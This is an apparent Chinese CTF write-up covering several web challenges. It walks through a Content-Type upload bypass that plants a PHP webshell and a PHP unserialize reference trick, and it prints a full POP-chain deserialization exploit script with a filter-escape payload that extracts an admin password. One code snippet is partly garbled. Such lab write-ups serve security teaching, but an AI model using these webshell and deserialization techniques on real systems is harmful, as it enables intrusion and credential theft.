Upload

  1. 文件类型绕过攻击

  2. 打开代理,和burpsuit走一个端口

  3. 随意发一个文件,抓包

  4. 将Content-Type修改为 image/gif

  5. Content-Type决定了服务器以什么方式解读文件,且Content-Type是客户端可以修改的

  6. 以image/gif的方式上传一句话木马

  7. 链接蚁剑,在根目录找到flag

  8. 打开即可获得flag

midserialize

<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class Sxsec{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$sxsec = unserialize($_GET['sxsec']);
$sxsec->token=md5(mt_rand());

if($sxsec ->login()){
 
    echo $flag;
}else{

echo "NO";
}


?> 
  1. 看到题目是unserialize,需要serialize一下

  2. ```php

    token=&$this->password; } } $pop=new Sxsec(); echo urlencode(serialize($pop)); ?>
    
    3.   得到
    
    4.   ```php
         O%3A5%3A%22Sxsec%22%3A2%3A%7Bs%3A5%3A%22token%22%3BN%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D&a[]=a&b[]=b&c=0e215962017
  3. get传参传给sxsec即可获得flag

40300

  1. try to flag.txt
  2. 在url后面拼接flag.txt
  3. 访问得到flag

40315

  1. 第一步:打开网页,dirsearch扫到了www.zip审计源码,有个safe方法可以进行字符逃逸

    function safe($parm){
        $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
        return str_replace($array,'hacker',$parm);
    }
  2. 第二步:

    寻找pop链,可以利用UpdateHelper的__destruct触发User的__toString然后走到Info的__call方法,在__call中调用了dbCtrl类的login方法,通过控制查询语句,把admin账户的密码查出来

    <?php
     class *User*
     {
       public $age='select password,id from user where username=?';
       public $nickname=null;
     }
     class *Info*{
       public $age;
       public $nickname;
       public $CtrlCase;
     }
     class *UpdateHelper*
     {
       public $sql;
     }
     class *dbCtrl*
     {
       public $hostname = "127.0.0.1";
       public $dbuser="noob123";
       public $dbpass="noob123";
       public $database="noob123";
       public $name='admin';
       public $token = 'admin';
     }
    
     function post($data){
       $data = http_build_query($data);
       $opts = array (
         'http' => array (
           'method' => 'POST',
           'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .
             "Content-Length: " . strlen($data) . "\r\n",
           'content' => $data
         )
       );
       $html = file_get_contents('http://127.0.0.1:8085/index.php?action=update', false, stream_context_create($opts));
       echo $html;
     }
    
     $x = new UpdateHelper();
     $x->sql = new User();
     $x->sql->nickname = new Info();
     $x->sql->nickname->CtrlCase = new dbCtrl();
    
     $p = '";s:8:"CtrlCase";' . serialize($x) . "}";
     $p = str_repeat('union', strlen($p)).$p;
     echo($p);
    
     post([
       'age' => 123,
       'nickname' => $p
     ]);
    ```
    
    payload:
    
    ```
    unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob123";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}
  3. 得到密码后,登录得到flag